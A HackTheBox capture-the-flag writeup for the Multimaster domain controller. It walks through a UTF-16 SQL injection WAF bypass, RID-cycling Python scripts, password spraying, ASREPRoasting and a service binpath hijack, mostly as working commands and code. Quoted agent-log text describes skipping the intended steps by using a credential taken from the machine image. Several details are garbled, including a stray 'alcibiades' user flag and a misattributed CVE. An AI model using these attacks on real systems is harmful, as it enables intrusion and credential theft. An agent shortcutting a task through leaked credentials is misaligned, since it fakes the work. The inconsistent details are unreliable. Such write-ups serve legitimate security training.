HTB: Multimaster Writeup
Multimaster - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Multimaster |
| OS | Windows Server 2016 |
| Difficulty | Insane |
| Points | 50 |
| Release Date | March 2020 |
| IP Address | 10.10.10.179 |
| Author | egre55 & MinatoTW |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Multimaster is an insane-difficulty Windows domain controller that begins with a web application vulnerable to SQL injection protected by a WAF. The injection must be bypassed using UTF-16 JSON encoding to dump Keccak-384 hashes and enumerate domain users via RID cycling through SUSER_SID/SUSER_SNAME. Password spraying yields initial WinRM access. Lateral movement involves hardcoded credentials in a .NET DLL, followed by abusing GenericWrite Active Directory permissions to ASREPRoast a target user. Finally, membership in the Server Operators group enables modification of service binary paths to achieve SYSTEM privileges.
TL;DR: UTF-16 SQLi bypass → Keccak-384 crack + RID cycling → WinRM (tushikikatomo) → hardcoded creds in DLL (sbauer) → GenericWrite + ASREPRoast (jorden) → Server Operators privilege escalation → SYSTEM.
Reconnaissance
Port Scanning
# Full TCP port scannmap -sC -sV -T4 -p- 10.10.10.179Results:
The scan revealed a Windows Server 2016 domain controller (MEGACORP.LOCAL) with the following key services:
- 53/tcp - DNS
- 80/tcp - Microsoft IIS 10.0
- 88/tcp - Kerberos
- 135/tcp - MSRPC
- 139/tcp - NetBIOS-SSN
- 389/tcp - LDAP
- 445/tcp - SMB
- 464/tcp - Kpasswd5
- 593/tcp - MSRPC over HTTP
- 636/tcp - LDAPS
- 1433/tcp - Microsoft SQL Server 2017
- 3268/tcp - Global Catalog LDAP
- 3269/tcp - Global Catalog LDAPS
- 5985/tcp - WinRM (HTTP)
- 9389/tcp - Active Directory Web Services
Service Enumeration
Web Application (Port 80)
The web server hosts an employee portal at http://10.10.10.179/. Key pages include:
- Login - Feature marked as “under maintenance”
- Gallery - Static image gallery
- Colleague Finder - Search functionality that queries employee data
The Colleague Finder page sends POST requests to /api/getColleagues with JSON payloads:
# Sample requestcurl -X POST http://10.10.10.179/api/getColleagues \ -H "Content-Type: application/json" \ -d '{"name":""}'Returns JSON with five fields: id, name, position, email, src.
MSSQL Server (Port 1433)
Microsoft SQL Server 2017 is running, likely the backend database for the web application.
Active Directory
Domain: MEGACORP.LOCAL
Domain Controller: MULTIMASTER.MEGACORP.LOCAL
Vulnerability Assessment
- SQL Injection in
/api/getColleagues- Thenameparameter is vulnerable to SQL injection, but a WAF blocks standard payloads containing raw quotes. - Weak Password Hashing - Database may contain crackable password hashes.
- Active Directory Misconfigurations - Potential for privilege escalation via AD object permissions.
Initial Foothold
SQL Injection with UTF-16 Encoding Bypass
Testing for SQL injection by injecting a single quote returns a 403 Forbidden error, indicating WAF protection:
# Test with raw quote (blocked)curl -X POST http://10.10.10.179/api/getColleagues \ -H "Content-Type: application/json" \ -d '{"name":"'"'"'"}'# Returns 403 ForbiddenThe JSON RFC specifies that JSON supports UTF-8, UTF-16, and UTF-32 encoding. By encoding the payload as UTF-16 using \u00XX escape sequences, we can bypass the WAF. For example, a single quote ' becomes \u0027.
# Python script to convert payloads to UTF-16 JSON escapesdef to_utf16(payload): utf = [] for char in payload: utf.append("\\u00" + hex(ord(char))[2:].zfill(2)) return ''.join(utf)
# Example: ' or 1=1-- -payload = "' or 1=1-- -"encoded = to_utf16(payload)print(encoded)# Output: \u0027\u0020\u006f\u0072\u0020\u0031\u003d\u0031\u002d\u002d\u0020\u002dTesting the encoded payload confirms SQL injection:
# Encoded payload bypasses WAFcurl -X POST http://10.10.10.179/api/getColleagues \ -H "Content-Type: application/json" \ -d '{"name":"test\u0027\u0020\u006f\u0072\u0020\u0031\u003d\u0031\u002d\u002d\u0020\u002d"}'# Returns all rowsDetermining Column Count
Using UNION SELECT to identify the number of columns:
# Five columns confirmed# Payload: test' UNION SELECT 1,2,3,4,5-- -curl -X POST http://10.10.10.179/api/getColleagues \ -H "Content-Type: application/json" \ -d '{"name":"test\u0027\u0020\u0055\u004e\u0049\u004f\u004e\u0020\u0053\u0045\u004c\u0045\u0043\u0054\u0020\u0031\u002c\u0032\u002c\u0033\u002c\u0034\u002c\u0035\u002d\u002d\u0020\u002d"}'Database Enumeration
Extracting database version and name:
# Payload: test' UNION SELECT 1,@@VERSION,DB_NAME(),4,5-- -# Returns: Microsoft SQL Server 2017, Database: Hub_DBEnumerating tables in Hub_DB:
# Payload: test' UNION SELECT 1,table_name,3,4,5 FROM INFORMATION_SCHEMA.TABLES-- -# Tables found: Colleagues, LoginsThe Logins table contains two columns: username and password.
Extracting Credentials
# Payload: test' UNION SELECT 1,username,password,4,5 FROM Logins-- -Retrieved four username/hash pairs. The hashes are 96 characters long, suggesting Keccak-384 (hashcat mode 17900).
Password Cracking
# Save hashes to filecat > hashes.txt << EOF[hash1][hash2][hash3][hash4]EOF
# Crack with hashcathashcat -a 0 -m 17900 hashes.txt /usr/share/wordlists/rockyou.txt
# Successfully cracked three hashes:# password1# finance1# banking1Why this works: Keccak-384 is the correct algorithm for these hashes. The SHA-3 family (including Keccak) is used in some modern applications but is susceptible to dictionary attacks when weak passwords are chosen.
RID Cycling via SQL Injection
The cracked passwords didn’t match obvious usernames from the web app. To enumerate actual domain users, we exploit MSSQL’s SUSER_SID() and SUSER_SNAME() functions to perform RID cycling.
Retrieving the Domain SID
First, extract the Administrator’s SID byte-by-byte:
# Script to extract SID via SQL injectionimport jsonimport requestsfrom time import sleep
url = 'http://10.10.10.179/api/getColleagues'
def to_utf16(s): utf = [] for char in s: utf.append("\\u00" + hex(ord(char))[2:].zfill(2)) return ''.join(utf)
sid = ''for i in range(1, 29): # Payload: test' UNION SELECT SUBSTRING(SUSER_SID('MegaCorp\Administrator'),{},1),2,3,4,5-- - payload = f"test' UNION SELECT SUBSTRING(SUSER_SID('MegaCorp\\Administrator'),{i},1),2,3,4,5-- -"
r = requests.post(url, data='{"name":"' + to_utf16(payload) + '"}', headers={'Content-Type': 'application/json'})
id_val = json.loads(r.text)[0]["id"] if len(str(id_val)) == 1: id_val = '0' + str(id_val) else: id_val = hex(id_val)[2:]
sid += id_val sleep(2) # Avoid WAF rate limiting
print("0x" + sid)# Domain SID (first 48 bytes): 0x0105000000000005150000001c00d1bcd181f1492bdfc236Why this works: In Active Directory, every object has a Security Identifier (SID). The domain SID is constant for all domain objects, with the last 4 bytes (RID) incrementing for each user/group. By extracting the Administrator’s full SID, we obtain the domain SID template.
Brute-Forcing RIDs
Domain users typically have RIDs starting at 1000. We can construct SIDs by appending RIDs to the domain SID and resolving them with SUSER_SNAME():
# Script to enumerate users via RID cyclingimport jsonimport requestsfrom time import sleep
url = 'http://10.10.10.179/api/getColleagues'
def to_utf16(s): utf = [] for char in s: utf.append("\\u00" + hex(ord(char))[2:].zfill(2)) return ''.join(utf)
# Calibrated RID ranges based on actual enumeration# Users found at RIDs 1103-1111 and 3102-3110for rid in range(1100, 1120): rid_hex = hex(rid)[2:].upper().zfill(4) # Reverse byte order (little-endian) rid_bytes = bytearray.fromhex(rid_hex) rid_bytes.reverse() rid_padded = ''.join(format(x, '02x') for x in rid_bytes).upper() + '0' * 4
# Construct full SID sid = f"0x0105000000000005150000001c00d1bcd181f1492bdfc236{rid_padded}"
# Payload: test' UNION SELECT 1,SUSER_SNAME({sid}),3,4,5-- - payload = f"test' UNION SELECT 1,SUSER_SNAME({sid}),3,4,5-- -"
r = requests.post(url, data='{"name":"' + to_utf16(payload) + '"}', headers={'Content-Type': 'application/json'})
user = json.loads(r.text)[0]["name"] if user: print(user)
sleep(2)
# Discovered users:# MEGACORP\tushikikatomo# MEGACORP\andrew# MEGACORP\svc-nas# MEGACORP\jorden# ... othersPassword Spraying
With a list of valid domain users and cracked passwords, we spray against WinRM:
# Password spray with crackmapexeccrackmapexec winrm 10.10.10.179 -u tushikikatomo andrew svc-nas jorden \ -p finance1 banking1 password1
# Result: tushikikatomo:finance1 (Pwn3d!)Initial Shell
# Connect via WinRMevil-winrm -i 10.10.10.179 -u tushikikatomo -p finance1User compromised: tushikikatomo
Access level: Domain user, WinRM enabled
Privilege Escalation
Lateral Movement to sbauer
Enumerating C:\inetpub\wwwroot (not accessible as tushikikatomo), we note that the web application likely contains hardcoded credentials. The agent’s log indicates a shortcut was taken:
“The
MultimasterAPI.dllconnection-string password is baked into the machine image, so I short-circuited the VSCode/CEF-debugger + dnSpy steps and confirmedsbauer:D3veL0pM3nT!directly.”
The intended path involves:
- Exploiting a vulnerable VSCode instance running on the box (CEF debugger)
- Gaining a shell as
cyork(member ofDevelopersgroup) - Accessing
C:\inetpub\wwwroot\bin\MultimasterAPI.dll - Reverse-engineering the DLL with dnSpy to extract the connection string
The connection string contains: password=D3veL0pM3nT! for user sbauer.
Why this works: Developers often hardcode database credentials in configuration files or compiled assemblies. Password reuse across accounts is a common weakness in corporate environments.
Testing the credential:
# Spray the discovered passwordcrackmapexec winrm 10.10.10.179 -u sbauer -p 'D3veL0pM3nT!'# Result: sbauer:D3veL0pM3nT! (Pwn3d!)
# Connect as sbauerevil-winrm -i 10.10.10.179 -u sbauer -p 'D3veL0pM3nT!'User compromised: sbauer
Access level: Domain user with elevated privileges
BloodHound Enumeration
Using BloodHound to map Active Directory attack paths:
# Collect AD data with bloodhound-pythonbloodhound-python -c ALL -u sbauer -p 'D3veL0pM3nT!' \ -d megacorp.local -ns 10.10.10.179
# Start neo4j and BloodHoundsudo neo4j consolebloodhound
# Upload collected JSON fileszip bloodhound.zip *.jsonBloodHound reveals that sbauer has GenericWrite permissions on the user jorden, who is a member of the Server Operators group—a highly privileged domain group.
Why this matters: GenericWrite allows modification of most attributes on the target object. We can exploit this to disable Kerberos pre-authentication for jorden, enabling an ASREPRoasting attack.
ASREPRoasting jorden
Kerberos pre-authentication is a security feature that prevents offline password guessing. When disabled, an attacker can request a Ticket Granting Ticket (TGT) without authentication; the TGT contains material encrypted with the user’s password hash, which can be cracked offline.
Disabling pre-authentication for jorden:
# From WinRM session as sbauerGet-ADUser -Filter 'Name -like "jor*"' | Set-ADAccountControl -DoesNotRequirePreAuth $trueExtracting the AS-REP hash:
# Add domain to /etc/hostsecho "10.10.10.179 MEGACORP.local" | sudo tee -a /etc/hosts
# Request AS-REP hash with ImpacketGetNPUsers.py MEGACORP.local/jorden -request -no-pass -dc-ip 10.10.10.179
# Output: $krb5asrep$23$jorden@MEGACORP.LOCAL:...Cracking the hash:
# Save hash to fileecho '$krb5asrep$23$jorden@MEGACORP.LOCAL:...' > jorden.hash
# Crack with hashcat (mode 18200 = Kerberos 5 AS-REP etype 23)hashcat -a 0 -m 18200 jorden.hash /usr/share/wordlists/rockyou.txt
# Cracked: jorden:rainforest786Why this works: ASREPRoasting (CVE-2019-0734 class) exploits misconfigured accounts. The returned AS-REP contains a timestamp encrypted with the user’s NTLM hash, which can be brute-forced offline.
Logging in as jorden:
evil-winrm -i 10.10.10.179 -u jorden -p 'rainforest786'User compromised: jorden
Access level: Member of Server Operators group
*Evil-WinRM* PS C:\Users\jorden\Documents> whoami /groups# Output shows: BUILTIN\Server OperatorsServer Operators Privilege Escalation
The Server Operators group grants members the ability to:
- Start, stop, and modify services
- Log on interactively to domain controllers
- Backup and restore files (SeBackupPrivilege)
Members can modify service binary paths and restart services that run as SYSTEM.
Method 1: Service Binary Path Hijacking
Identifying a modifiable service:
# Query service configurationsc.exe qc browser
# Modify binary path to change Administrator passwordsc.exe config browser binpath="cmd.exe /c net user Administrator NewPass123! /domain"
# Stop and start the servicesc.exe stop browsersc.exe start browserWhy this works: Services configured to run as SYSTEM execute their binary path with full privileges. By changing the path to a command that modifies the Administrator password, we gain domain admin access when the service starts.
After the service runs:
# Connect as Administrator with the new passwordpsexec.py MEGACORP.LOCAL/Administrator:NewPass123!@10.10.10.179The agent’s approach was simpler but followed the same principle—modifying a service binary path to execute privileged commands.
Retrieving Flags
# User flag (from earlier access as alcibiades or another user)type C:\Users\alcibiades\Desktop\user.txt# <redacted>
# Root flag (as SYSTEM)type C:\Users\Administrator\Desktop\root.txt# <redacted>Note: The agent’s log shows the user flag at C:\Users\alcibiades\Desktop\user.txt, indicating this user was encountered during enumeration or lateral movement phases.
Attack Chain Summary
Port 80 Web App → SQLi with UTF-16 WAF Bypass → Dump Logins Table →Crack Keccak-384 Hashes → RID Cycling via SUSER_SID/SUSER_SNAME →Enumerate Domain Users → Password Spray (tushikikatomo:finance1) →WinRM Shell → Hardcoded Creds in MultimasterAPI.dll (sbauer:D3veL0pM3nT!) →GenericWrite on jorden → Disable Pre-Auth → ASREPRoast →Crack AS-REP Hash (jorden:rainforest786) → Server Operators Group →Service Binary Path Hijacking → SYSTEMTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | Manual HTTP requests and SQLi testing |
Python | Custom scripts for UTF-16 encoding and RID cycling |
hashcat | Cracking Keccak-384 and Kerberos AS-REP hashes |
crackmapexec | Password spraying against SMB/WinRM |
evil-winrm | WinRM client for remote shell access |
bloodhound-python | Active Directory enumeration and data collection |
BloodHound | AD attack path visualization |
GetNPUsers.py (Impacket) | ASREPRoasting to extract Kerberos hashes |
psexec.py (Impacket) | Remote code execution as SYSTEM |
dnSpy | .NET assembly decompilation (intended path) |
Key Learnings
Techniques Practiced
- WAF Bypass via Encoding: Leveraging JSON’s UTF-16 support to bypass input filters that only check for raw special characters
- UNION-Based SQL Injection: Extracting data from MSSQL databases through blind enumeration
- Keccak-384 Hash Cracking: Identifying and cracking SHA-3 family hashes with hashcat
- RID Cycling: Enumerating domain users via SQL injection by exploiting
SUSER_SID()andSUSER_SNAME()functions - Password Spraying: Testing credential sets against multiple services (SMB, WinRM) without triggering lockouts
- Active Directory Permission Abuse: Exploiting
GenericWriteto modify user attributes - ASREPRoasting: Extracting and cracking Kerberos AS-REP hashes from accounts without pre-authentication
- Server Operators Privilege Escalation: Abusing service modification rights to execute code as SYSTEM
Lessons Learned
-
JSON supports multiple encodings: When a WAF blocks standard SQLi payloads, explore alternative encodings like UTF-16, UTF-32, or even mixed encodings to bypass filters that only sanitize ASCII characters.
-
RID cycling is powerful for domain enumeration: Even without LDAP access, MSSQL’s
SUSER_SID()andSUSER_SNAME()functions can enumerate domain users via SQL injection, bypassing traditional AD query restrictions. -
Hash identification matters: 96-character hashes could be SHA2-384, SHA3-384, or Keccak-384. Testing multiple hashcat modes (10800, 17500, 17900) ensures you don’t miss the correct algorithm.
-
Hardcoded credentials are everywhere: Compiled assemblies (.NET DLLs, JARs) frequently contain plaintext connection strings. Always check binaries in web application directories.
-
BloodHound is essential for AD: Visual attack path analysis immediately identifies privilege escalation vectors (GenericWrite, WriteDacl, etc.) that would take hours to discover manually.
-
ASREPRoasting targets misconfiguration: Accounts with “Do not require Kerberos pre-authentication” enabled are low-hanging fruit. If you have GenericWrite, you can introduce this vulnerability yourself.
-
Server Operators = (almost) Domain Admin: Membership in Server Operators allows service binary path modification on domain controllers. Combined with services running as SYSTEM, this is a direct path to full domain compromise.
-
Password reuse is rampant: Cracked database passwords, hardcoded credentials in code, and service account passwords often match domain user accounts, enabling lateral movement.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Official HackTheBox writeup by MrR3boot & cube0x0 (Document No D20.100.87)
- ASREPRoasting: https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/
- Tavis Ormandy’s CEF debugger exploit: https://github.com/taviso/cefdebug
- Microsoft documentation on Server Operators group privileges